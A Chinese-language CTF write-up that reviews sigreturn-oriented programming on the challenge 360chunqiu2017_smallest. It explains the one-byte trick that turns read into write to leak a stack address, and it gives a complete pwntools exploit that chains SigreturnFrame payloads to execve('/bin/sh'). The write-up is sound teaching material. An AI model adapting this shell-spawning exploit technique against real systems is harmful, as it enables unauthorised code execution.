srop复习

之前看过srop刚入门的时候,对于寄存器,栈那些都不是很懂。

现在再看一遍,拿道题过下,发现其实就是发送信号控制栈传参

360chunqiu2017_smallest

就一个syscall调用read

1
2
3
4
5
6
signed __int64 start()
{
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

return sys_read(0, (char *)&retaddr, 0x400uLL);
}

看汇编吧

1
2
3
4
5
6
7
8
public start
proc near ; DATA XREF: LOAD:0000000000400018↑o
xor rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf ;东西直接存放于栈,其实看ida反汇编注释也可以看见
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn

就非常简单的一个函数调用,程序除此外没别的东西,那有系统调用又没别的pop,只能去用srop了

这里再说一句,其实srop就是一个汇编层面的一个立体表象的运用。

我们可以看见第一个命令xor rax, rax,其实就是一个对rax置零的操作,固定调用read

我们可以直接把rax不执行xor那个命令变成1(因为rax本身也是计数寄存器啦,传入1个字符或者一个字节就会变成1 了就这个题目设计的很巧,传入’\xb3’一个字节绕过xor),这样我就获取到了write了可以泄露地址了,我们可以看见第二个参数

read(0,rsp,0x400);是rsp那么我们破坏rax后就是write(0,rsp,0x400);就有了rsp的地址,等下srop直接用

上述的实现方法就是传入2个start函数地址就行了,但是我们还要继续输入呀,所以一共传入3个。

接着因为刚才传入了3个read,我们传入0xb3(把程序返回地址改为4000B3 mov edx, 400h ; count)

给第二个read就是为了完成跳过执行xor,第一个用来当junk code压栈去了

我们继续就是构造srop了用pwntools的工具SigreturnFrame()

1
2
3
4
5
6
7
8
9
10
11
frame = SigreturnFrame()
frame.rax = constants.SYS_read #0 syscall的调用什么函数是根据rax判断的这里我们还要继续输入当然要用read
frame.rdi = 0
frame.rsi = leak
frame.rdx = 0x400 #read 的3个参数
frame.rsp = leak
frame.rip = syscall
payload2 = p64(read)+ p64(0)+str(frame)
r.send(payload2)
sigreturn = p64(syscall) + 'b'*7 #为什么总数是15?因为是要sigreturn呀他的调用号是15,字符数量是会改变rax的
r.send(sigreturn)

最后直接调用execve就行了

1
2
3
4
5
6
7
8
9
10
11
12
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = leak + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rsp = leak
frame.rip = syscall
payload3 = p64(read) + 'a'*8 + str(frame)
payload3 = payload3.ljust(0x120,'\x00')+ '/bin/sh\x00'
r.send(payload3)
r.send(sigreturn)
r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
r=process('./smallest')
#r=remote('node4.buuoj.cn','28002')
elf = process('./smallest')
context.arch = 'amd64'
context.log_level='debug'
syscall = 0x4000be
read = 0x4000b0
ret=0x4000C0
payload = p64(read)*3
r.send(payload)
r.send('\xb3')
leak = u64(r.recv()[0x8:0x10])
log.info(hex(leak))
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = leak
frame.rdx = 0x400
frame.rsp = leak
frame.rip = syscall
payload2 = p64(read)+ p64(0)+str(frame)
r.send(payload2)
sigreturn = p64(syscall) + 'b'*7
r.send(sigreturn)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = leak + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rsp = leak
frame.rip = syscall
payload3 = p64(read) + 'a'*8 + str(frame)
payload3 = payload3.ljust(0x120,'\x00')+ '/bin/sh\x00'
r.send(payload3)
r.send(sigreturn)
r.interactive()
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信